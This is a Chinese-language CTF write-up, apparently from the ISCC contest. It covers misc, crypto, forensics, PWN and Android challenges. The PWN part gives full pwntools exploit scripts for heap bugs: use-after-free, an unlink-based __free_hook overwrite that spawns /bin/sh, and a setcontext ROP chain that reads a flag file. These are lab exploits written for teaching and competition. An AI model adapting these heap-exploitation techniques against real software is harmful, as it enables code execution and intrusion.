hex_list = ("{:02X}".format(int(c)) for c in f.read()) # 定义变量接受文件内容
buflist = list(hex_list)
for i in buflist:
c+=i
c = int(c,16)
# print(c)
for i in range(1, e): # 在范围(1,e)之间进行遍历
if (dp * e - 1) % i == 0:
if n % (((dp * e - 1) // i) + 1) == 0: # 存在p,使得n能被p整除
p = ((dp * e - 1) // i) + 1
q = n // (((dp * e - 1) // i) + 1)
phi = (q - 1) * (p - 1) # 欧拉定理
d = gp.invert(e, phi) # 求模逆
m = pow(c, d, n) # 快速求幂取模运算
print (hex(m)[2:])
#28f3bbb87737967e2cbeb44eb5d5457a9ae6d4f3559f9a2907d5c15527036fbd992f257e9750ded889babbe64629f63d8b57b8630c8a5304a765d9ec7d49ceffb0a3d0ca5ff59bb8ad1f912ef60d8124119c7310ff96590f81649b767eb0a36c92e4c5d2dcc00495343437b697535612175692a337165686263614039300a
#29da5dabd07d2709ab13f56f9a8ab7c8ae48d97d05b7ed9b99e1f6076692b9e30de2f050c14ea2029af8949219917b3da9e74720e9ba5ad58840e2323651d2bdf7231da77292b9be11b4cc396aa285cb3835e931261c324d46eae0f34e92c58da1d262eeecb0026726869632b686a3639617438762a723334367a3928620a
#2ee480e34c3941109aa1d95b30139c16b9a6414dc945053b47c7d4234803926a376ce24bee8e8340d4f5f45320ca650584dc0e968ca831b2e518d4ee05dc55cf6a1e27c937bc2189d796048fdcf324240aced222825f27892c003db7b9e6b9a367437f73c680079617761357430767233352d76725e696638392568757d0a
然后将十六进制数据转为字符串即可得到flag
雪豹
将文件下载下了,得到一个rar的压缩包,但是打开之后发现识别不正常
用十六进制工具打开文件,通过与正常的rar文件对比,发现这里文件头的区块中的74被改为了73,这里将其全部该回来
然后即可正常解压,得到一个图片和一个压缩包
这里将图片的高度进行修改
得到压缩包密码,得到一个套娃的压缩包
解完之后得到一个文件,提示说没有flag
然后观察压缩包的日期发现只有两种时间,所以猜测为二进制
10:13:52为0,10:13:58为1生成二进制
import os
import zipfile
import sys
import time
sys.setrecursionlimit(1000000)#防止python栈溢出
def unzip_file(file_name) :
with zipfile.ZipFile(file_name,'r') as zip:
zip.extractall()
zip.close()#释放内存
for file in zip.namelist():
if file.endswith('.zip'):
file_info = zip.getinfo(zip.namelist()[0])
# print(f"{file}:{file_info.date_time}")
if file_info.date_time==(2023, 5, 1, 10, 13, 58):
print(1,end='')
elif file_info.date_time==(2023, 5, 1, 10, 13, 52):
print(0,end='')
os.remove(file_name)
unzip_file(file)
file_name = '49183-secret.zip'
print(0,end='')#49183自己为0
unzip_file(file_name)
然后二进制转字符串得到一张图片
根据图片背景的字可以猜测是用imagein软件解
得到:
然后解emoji得到flag
哦?摩斯密码?
得到一堆文件夹,然后每一个文件夹下都有三张二维码,经过扫码进行词频分析
得到TH1SN0FLAG
然后发现每一个扫除flag的文件的位置有些奇怪,比如说1.2,2.1之类的
前面的是文件夹,后面的是图片名,所以猜测莫斯密码,将其提取出来得到:
10011101111001111000111001111000101011000010101001100100110010011011001110111111100010011001110000100101101011111100111011011001101010110001011010011100110110010100100101101101101000101000111101000110001111100010011101111000110010011011011101101100101110110011110010110100110101011000111110100110010010111101
得到:NyqgE0TddlwxLpK/g6514s2I6hQt1xNxdmmKYriUGiI=
然后解aes,key为:th1sn0flag
得到flag:flag{oh!itistheflag}
ඞ
给了个内存镜像,使用volatility在桌面上找到一个solve.zip,一个hint.txt
然后将文件提取出来,在hint中找到四个玩家一个游戏
然后在压缩包里面
压缩包密码是伪装者的名字
然后在Documents目录下可以找到个out9.pcap,导出来
然后在流量包中找到了amongus字符串
然后发现这个是太空狼人杀的游戏
题目还给了游戏的配置文件,逆一下plugins下的dll文件,搜一下发现能搜到伪装者
psswd:susofyou
解压得到py文件
然后在流量包中找到全部信息
import hashlib
#analyze the .pcap answer the question
code = 'SRLBOW' #join the game's Game code(eg:ABCD)
voted = 'ISCC'#who was voted in this game(the game's name)(eg:dingzhen)
howtowin = 'crew_vote'#how win this game?choose:(crew_vote/crew_task/imp_vote/imp_task/imp_disconnect/crew_disconnect)(eg:imp_task)
tasks_num = '2'#how many tasks were done?(eg:5)
flag = hashlib.md5((code+voted+howtowin+tasks_num).encode()).hexdigest()#eg:md5('ABCDdingzhenimp_task5') = ca90ed3a8c98ef30af3b44643de8512e
print(f'your flag is ISCC{{{flag}}}')#eg:your flag is ISCC{ca90ed3a8c98ef30af3b44643de8512e}
运行得到flag
G9的钢琴曲
解rsa
from Crypto.Util.number import *
# from libnum import *
out =[(2172252055704676687457456207934570002654428519127702486311980109116704284191676330440328812486703915927053358543917713596131304154696440247623888101060090049, 2108637380559167544966298857366809660819309447678518955440217990535095703498823529603132157555536540927898101378853427638496799467186376541583898176373756917, 1103840869050032098984210850630584416814272073121760519116633450832540460407682739594980752914408375293588645043889636184344774987897378026909963273402766561), (2000124088829445641229622245114189828522912764366697463519930724825924163986998694550757186794149331654420524788899548639866463311104678617705042675360057243, 1665549488322348612920659576773850703765765307223600084262385091708189142517147893842872604879786471376822691498663100028754092239272226011616462859779271025, 990627294315894701092445987317798430568264256978762186489740206376279178571289900941886873570710241025125621594301020499270029956301204583788447662869037315), (1303516450844607175859180241406482278674954250245197644105258810912430306740632927947088058701010631209652921073238771523431247167608544636294883977018097199, 1119758042346732592435539174564881640374540951155805649314246375263320107846465196580695284748429608544175058830657524095385658523219250943378976577225782230, 598915905620934628053505443816290720352232457144997188593150390072666051798491983452700635551081569466232682512362475354896855707688259553722701065491789402), (2463333340881549805545364706970314608937871808508385657282029236077808399479795853056347857164089991597487727014937851894809199639758978587612411591527423763, 673590616457425981268507673967667728811152404125286063856277932080928372715113304373395326309595915550999528364692493169822993967220858400311382215177833045, 208198360150172881237486434064181246031019081636219908755237161625039285165750040108367852136975511290424988781713799103150982065579123496034803730006273360)]
# clean data
ns = [o[0] for o in out]
rs = [o[1] for o in out]
cs = [o[2] for o in out]
# calculate T_i for each polynomial
calcT = lambda idx : crt([0 if i != idx else 1 for i in range(4)], ns)
# calculate Ts
T = [calcT(i) for i in range(len(ns))]
# print(T)
#下面就是calcT函数的意义
# print(crt([1,0,0,0],ns))
# print(crt([0,1,0,0],ns))
# print(crt([0,0,1,0],ns))
# print(crt([0,0,0,1],ns))
# construct the final polynomial
f = 0
P.<x> = PolynomialRing(Zmod(prod(ns)))
# use pad to add known bits
pad = bytes_to_long(b'ISCC' + b'\x00' * 59)
m = x + pad
# construct g(x)
for i in range(4):
f += T[i] * (m^4 + 3*m^2 + rs[i]*m - cs[i])
root = f.small_roots(X=2^472, epsilon=0.03)[0]
m = m(root)
print(long_to_bytes(int(m)))
得到密码:ISCC_Y0u_R3alLy_KnOw_CoPPersm1th
然后用decloakify解rar
将解密结果用十六进制工具打开
看到一对+-符号,这里直接将其转换为01字符串
得到flag
BNG
首先观察文件头,能够发现蓝色部分是bzip文件头,开头是PNG改过的文件头,接着红框部分09应该是代表IHDR的长度,后面的0x6b 0x60分别代表宽高,再下一个字节0x18暂且理解成24位(RGB)
接着蓝框前面有个0x065e,根据bzip的长度可以得知0x065e是bzip的数据块长度,接着看文件尾
将其数据提取出来得到
Vm1wR2EwNUhTWGxVYms1cFRUSjRWbFl3WkRSWFJteHpZVVZPYWxadGVIcFdNbmgzWVRBeFZrNVdaRnBXVmxwUVdWVmFTbVF3TVZWWGJHUlRUVEJLVVZkV1dsWmtNbEY1Vkd0c1ZHSkdXazlaVjNSaFYwWmFSMVp0Um1wTmF6VllWVEkxVTJFeFNsVldiVGxhWWtkU2RscFdXbHBsVjFKSFZHeHdWMDFHY0RWV1JscGhWakZhZEZOc1ZsTmlSVnBZV1ZSS1UyTldVbGRYYkU1WFZtczFlbFl5TVRSV01WcEhWMnhrVjJKVVFqUlVWVnBTWlVaT2NscEhjRlJTVkZaYVYxWlNSMU14U1hoVmJrNVhWMGRvY1ZacVFscE5iRnBYVlZoa1VWVlVNRGs9
解码得到:
my secret password:e4b1d28dd6c14f9893e255d46ed19298
根据题目描述,抄的png部分应该是png头+IHDR+DATA(bz2)+IEND
而jpg部分为DEFLATE,根据猜测是huffman。
然后根据分析,第二个字节0x0d代表的是huffman tree size,紧接着的0xd字节代表huffman tree length,再后面的数据是文件的数据,即前面部分抄的是jpg的DHT部分,至于为什么有那么多00字节,是因为没有经过游程编码来进行预处理
这里能够找到网上的一份脚本https://www.cnblogs.com/kentle/p/14725589.html
根据脚本分析,第一个字节是padding字节。
即padding + ht_size + ht_length + data
将脚本里的OVO.py抄下来保存为OVO.py,接着自己写一份脚本(注意创建imgs文件夹)
然后得到的图片发现是0-f,因此使用easyocr进行ocr
import bz2
import zlib
from OVO import OVO
import os
from PIL import Image
from tqdm import tqdm
import struct
import easyocr
for i in tqdm(range(472)):
f = open(f'./bngs/{i}.bng', 'rb').read()
h,w = f[0xf],f[0xb]
length = f[0x17]*256+f[0x18]
bz2_data = f[0x19:0x19+length]
decompressed_bz2 = bz2.decompress(bz2_data)
fw = open(f'./imgs/{i}.data','wb').write(decompressed_bz2)
OVO.decode(source_path=f'./imgs/{i}.data', target_path=f'./imgs/{i}_dec.data', mode=0)
ft = open(f'./imgs/{i}_dec.data','rb').read()
img = Image.new('RGB', (w, h))
for y in range(h):
for x in range(w):
index = (y * w + x) * 3
r, g, b = struct.unpack('BBB', ft[index:index + 3])
img.putpixel((x, y), (r, g, b))
img.save(f'./imgs/{i}_.png')
os.remove(f'./imgs/{i}.data')
os.remove(f'./imgs/{i}_dec.data')
data = ''
reader = easyocr.Reader(['en'])
for j in tqdm(range(472)):
result = reader.readtext(f'./imgs/{j}_.png')
try:
data += result[0][1]
except:
data += f'_{j}_'
print(data)
得到:
504b03040a00090000004061a656d31bd66C360000002a00000008001C00666C61672e747874555409000317d3556417d3556475780b000104e803000004e803000065f41ee96387be9dfCb9083dde5b2ad9d9a1757831ef8091d9621d9147dCCed1d3984835b90740bda12Cd9d3d696e0937995a3ad70ed504b0708d31bd66C360000002a000000504b01021e030a00090000004061a656d31bd66C360000002a000000080018000000000001000000ff8100000000666C61672e747874555405000317d3556475780b000104e803000004e8030000504b050600000000010001004e000000880000000000
然后将其保存为zip
密码为:e4b1d28dd6c14f9893e255d46ed19298
解zip得到flag
听你心跳里的狂
首先拿到一个ogg音频文件和一个flaggg文件,flaggg文件16进制数据是个乱码,但根据其长度恰好为10mb,猜测是VC容器,将ogg音频文件作为密钥文件成功挂载
在挂载的磁盘里得到一个压缩文件,在结尾处可以找到一串字符
先解rot13然后解rot47得到md5
解码得到:Logistic
解压缩包得到png文件,但是打不开将其十六进制数据异或0x15得到png
非预期
得到flag
Brain Games
压缩包里面的提示
将其?转为表情
解aaencode
得到:Peace_And_Love
然后分析其子弹痕迹,得到570831
然后cloacked-pixel
得到:
然后得到flag
Guess!Where?
解压得到:
U1H0YHwVXogMWWQIWX5dY0gCPoUOXoMAVHXcYHgRXoUKZYsXUX1NX0gIZnUGSW09
凯撒3-base64-base32-base16
得到密码:I_love_iscc!!!
发现文件夹这里有个ISC23
文件夹内容提取出来
I:09120906120107
S:1105091906120107
C:0306120107
2:081523010206120107
3:15212025152106120107
然后发现是刚好可以与26个字母对应
然后转换一下
iliflag
keisflag
cflag
howabflag
outyouflag
然后将flag去掉
组合写两次c得到flag
ilikeiscchowaboutyou
PWN
Ezheap
Checksec
Ida:
利用UAF漏洞编辑堆块,修改fd指针,在堆块unsort的时候,会把极大值写入,满足if判断,且程序中有后门函数,正常构造payload即可
Exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
def add(index,size):
r.sendlineafter("input your choice : ",'1')
r.sendlineafter("input idx plz : ",str(index))
r.sendlineafter("input size plz : ",str(size))
def edit(index,content):
r.sendlineafter("input your choice : ",'4')
r.sendlineafter("input idx plz : ",str(index))
r.sendlineafter("input content plz : ",content)
def free(index):
r.sendlineafter("input your choice : ",'2')
r.sendlineafter("input idx plz ",'0')
add(0,0x90)
add(1,0x90)
free(0)
p=p64(0)+p64(0x6029b8-0x10)
edit(0,p)
add(3,0x90)
r.sendlineafter("input your choice : ",'5')
p1=flat(b'a'*(0x10+8),0x4009aa,word_size=64)
r.sendlineafter("input your key\n",p1)
r.interactive()
Crazy_heap
Checksec
ida分析:
add_employee()函数:
edit_info()函数:
view_employee()函数:
fire_employee()函数:
主要是unlink,任意地址写,写入free_hook,最后更改其值为system地址,执行binsh即可。
Exp:
from pwn import *
context(os='linux',arch='amd64',log_level="debug")
r=process('./my_heap')
elf=ELF("./my_heap")
libc=ELF("./Crazy_heap libc-2.23.so")
def add(a,b):
r.sendlineafter("choice:",b'1')
r.sendlineafter("length:",str(a))
r.sendlineafter("name:",b)
r.sendlineafter("girl\n",b"1")
def edit1(a,b):
r.sendlineafter("choice:",b'2')
r.sendlineafter("number:",str(a))
r.sendlineafter("(by rename T_T)\n",b"1")
r.sendlineafter("name:",b)
def edit2(a,b):
r.sendlineafter("choice:",b'2')
r.sendlineafter("number:",str(a))
r.sendlineafter("(by rename T_T)\n",b"0")
r.sendlineafter("sex:",str(b))
def view(a):
r.sendlineafter("choice:",b'3')
r.sendlineafter("number:",str(a))
def free(a):
r.sendlineafter("choice:",b'4')
r.sendlineafter("number:",str(a))
add(0x88,b'aaaa')
add(0x88,b'bbbb')
free(0)
view(0)
addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
main_arena=addr-0x58
malloc_hook=main_arena-0x10
base=malloc_hook-libc.symbols["__malloc_hook"]
chunk=0x404050
payload=p64(0)
payload+=p64(0x2c1)
payload+=p64(chunk-0x18)
payload+=p64(chunk-0x10)
add(0x88,b'cccc')
add(0xd8,payload)
add(0x88,b'dddd')
add(0x88,b'eeee')
add(0x88,b'/bin/sh\x00')
free(3)
edit2(3,1)
free(4)
payload=b'a'*0x18
payload+=p64(base+libc.sym['__free_hook'])
edit1(2,payload)
edit1(2,p64(base+libc.sym['system']))
free(5)
r.interactive()
Ezuheap
checksec
Ida分析:
add()函数:
del()函数:
edit()函数:
show()函数:
由程序得到堆块地址,show泄露出地址来计算free_hook地址,改free_hook的值为system地址,执行system(“/bin/sh”)即可。
Exp:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r=process("./uheap")
elf=ELF("./uheap")
libc=ELF("./libc-2.27.so")
def add(idx,length):
r.sendlineafter("choice:",b'1')
r.sendlineafter("Index:",str(idx))
r.sendlineafter("len:",str(length))
def free(idx):
r.sendlineafter("choice:",b'2')
r.sendlineafter("Index:",str(idx))
def edit(idx,content):
r.sendlineafter("choice:",b'3')
r.sendlineafter("Index:",str(idx))
r.sendline(content)
def show(idx):
r.sendlineafter("choice:",b'4')
r.sendlineafter("Index:",str(idx))
r.sendline(b'a')
pause()
r.sendline(b'365303148')
r.recvuntil("first gift: 0x")
first_gift=int(r.recv(12),16)
r.recvuntil("second gift: 0x")
second_gift=int(r.recv(8),16)^first_gift
first_gift^=0x15C6156C
print(hex(first_gift))
print(hex(second_gift))
ptr=second_gift-0x30+0x8
add(0,0x88)
add(1,0x88)
add(2,0x88)
add(3,0x88)
add(4,0x88)
add(5,0x88)
add(0,0x88)
for i in range (7):
free(2)
edit(2,b'a'*12)
free(2)
show(2)
leak_addr=uu64()
main_arena=leak_addr-96
malloc_hook=main_arena-0x10
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
free_hook=libc_base+libc.sym['__free_hook']
print(hex(libc_base))
free(5)
edit(2,b'a'*0x80+p64(0x110))
edit(1,(p64(0)+p64(0x111)+p64(ptr-0x18)+p64(ptr-0x10)))
free(3)
print(hex(ptr))
edit(1,b'a'*0x18+p64(free_hook))
edit(1,p64(libc_base+libc.sym['system']))
edit(5,b'/bin/sh\x00')
print(hex(free_hook))
free(5)
r.interactive()
Babyheap
Checksec
Ida分析:
隐藏彩蛋函数:这个函数只能用一次,因为dword_4010初始值为1,触发一次该函数后dword_4010–,
Add函数:
free函数:
Show函数:
Exp;
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
libc='./babyheaplibc.so.6'
elf = ELF('./babyheap')
p=process('./babyheap')
def add(content):
p.sendlineafter("plz input choice: ", b'1')
p.sendafter(b"plz input content:", content)
def free(index):
p.sendlineafter("plz input choice: ", b'3')
p.sendlineafter(b'plz input idx:', str(index))
def show(index):
p.sendlineafter("plz input choice: ", b'2')
p.sendlineafter(b'plz input idx:', str(index))
def zlp(index):
p.sendlineafter("plz input choice: ", b'2023')
p.sendlineafter(b'plz input idx:', str(index))
for i in range(7):
add("a")
add("b")#7
add("c")#8
for i in range(7):
free(i)
zlp(7)
free(8)
free(7)
for i in range(7):
add("d")
show(0)
heap=u64(p.recvuntil("\n")[1:7].ljust(8,b"\x00"))-0x1A62
print(hex(heap))
add(p64(heap+0x1950))#7
add(b"e")#8
add(b"f")#9
add(p64(0)+p64(0x461))
for i in range(5):
add(b"g")
free(6)
add("h")
show(6)
malloc_hook = u64(p.recvuntil("\n")[1:7].ljust(8,b"\x00"))-225-0x10
base=malloc_hook-libc_elf.symbols["__malloc_hook"]
free_hook=base+libc_elf.symbols["__free_hook"]
open_addr=base+libc_elf.symbols["open"]
read_addr=base+libc_elf.symbols["read"]
pus = base
print(hex(base))
#setcontext orw
setcontext = base+libc_elf.symbols["setcontext"] + 61
if debug:
pop_rax_ret = base + 0x47400
pop_rdi_ret = base + 0x23b72
pop_rsi_ret = base + 0x2604f
pop_rsi_r15_ret = base + 0x23b70
pop_rdx_r12_ret = base +0x119241
syscall_ret = base + 0x630d9
ret = base + 0xbf955
magic_gadget = base + 0x1518B0
leave_ret= base + 0x578f8
else:
pop_rax_ret = base + 0x36174
pop_rdi_ret = base + 0x23b6a
pop_rsi_ret = base + 0x2601f
pop_rdx_ret = base + 0x142c92
pop_rsi_r15_ret = base + 0x23b68
pop_rdx_r12_ret = base +0x119211
syscall_ret = base + 0x630a9
ret = base + 0xc1801
magic_gadget = base + 0x151990
leave_ret= base + 0x578c8
#double free
for i in range(7):
free(i)
free(15)
free(7)
free(8)
free(9)
for i in range(1):
add("i")
orw1_addr=heap+0x1aa0 #4
orw2_addr=heap+0x1a50 #3
orw3_addr=heap+0x1a00 #2
orw4_addr=heap+0x19c0 #1
stack_addr=heap+0x1b40 #6
bss_addr=heap+0x197c #0
orw1 = p64(pop_rdi_ret) + p64(stack_addr)
orw1+= p64(pop_rax_ret) + p64(2)
orw1+= p64(syscall_ret)
orw1+= p64(pop_rdi_ret) + p64(3)
orw1+= p64(leave_ret)
orw2 = p64(orw3_addr) + p64(pop_rsi_ret) + p64(bss_addr)
orw2+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw2+= p64(leave_ret)
orw3 = p64(orw4_addr-8) + p64(pop_rax_ret) + p64(0)
orw3+= p64(syscall_ret)
orw3+= p64(pop_rdi_ret) + p64(1)
orw3+= p64(leave_ret)
orw4 = p64(pop_rsi_ret) + p64(bss_addr)
orw4+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw4+= p64(pop_rax_ret) + p64(1)
orw4+= p64(syscall_ret)
add(orw4)#1
add(orw3)#2
add(orw2)#3
add(orw1)#4
print(hex(stack_addr))
stack=b"./flag\x00\x00"+p64(0)*3 + p64(setcontext) + p64(0)*3
add(p64(0)+p64(stack_addr))
add(stack)#6
add(p64(free_hook))#7
add(p64(orw1_addr)+p64(ret)*3)#8
add(p64(0)*5+p64(orw2_addr))#9
add(p64(magic_gadget))
free(5)
p.interactive()
ANDROID
mobile1
分析代码,发现先调用的a函数对flag加密,然后再调用so文件的函数对字符串进行加密
然后分析so函数
通过逆向得到a函数加密之后的字符串:CV2#67CG6CSF23353F7#7
然后分析a函数
下面两个是字符串转16进制,然后16进制转字符串
所以主要加密在b类的a函数中
s = b"CV2#67CG6CSF23353F7#7"
b = ""
for i in s:
b += (hex(i)[2::])
print(b)
str2 = b[0:len(b)//2]
str3 = b[len(b)//2::]
flag = ""
for i in range(len(str2)):
if(i % 3 == 0):
flag += str2[i]
elif(i % 3 == 1):
flag += str3[i]
else:
flag += str3[i] + str2[i]
print(flag)
for i in range(0,len(flag),2):
print(chr(eval('0x'+flag[i]+flag[i+1])),end="")
得到flag:ISCC{Deb2#3e7Ddw&Cu}
KitKat
这里先还原出账号
public static void main(String[] args) {
String encryptedString = "V[+:`5@OM=#&qOQU";
byte[] key = {123, -83, 46, 105, 63, 66, -111, 117, -126, -15, 106, 23, -16};
byte[] encryptedBytes = encryptedString.getBytes();
byte[] decryptedBytes = new byte[encryptedBytes.length];
for (int i = 0; i < encryptedBytes.length; i++) {
decryptedBytes[i] = (byte) (encryptedBytes[i] ^ key[i % key.length]);
}
String decryptedString = new String(decryptedBytes);
System.out.println("Decrypted string: " + decryptedString);
}
得到账号:BAI2021090801
然后分析so函数
通过hook找到加密函数
经过分析得到密码
最后程序中过掉判断即可得解
flag{cb3516da155b64b0a4139d5339190c3c}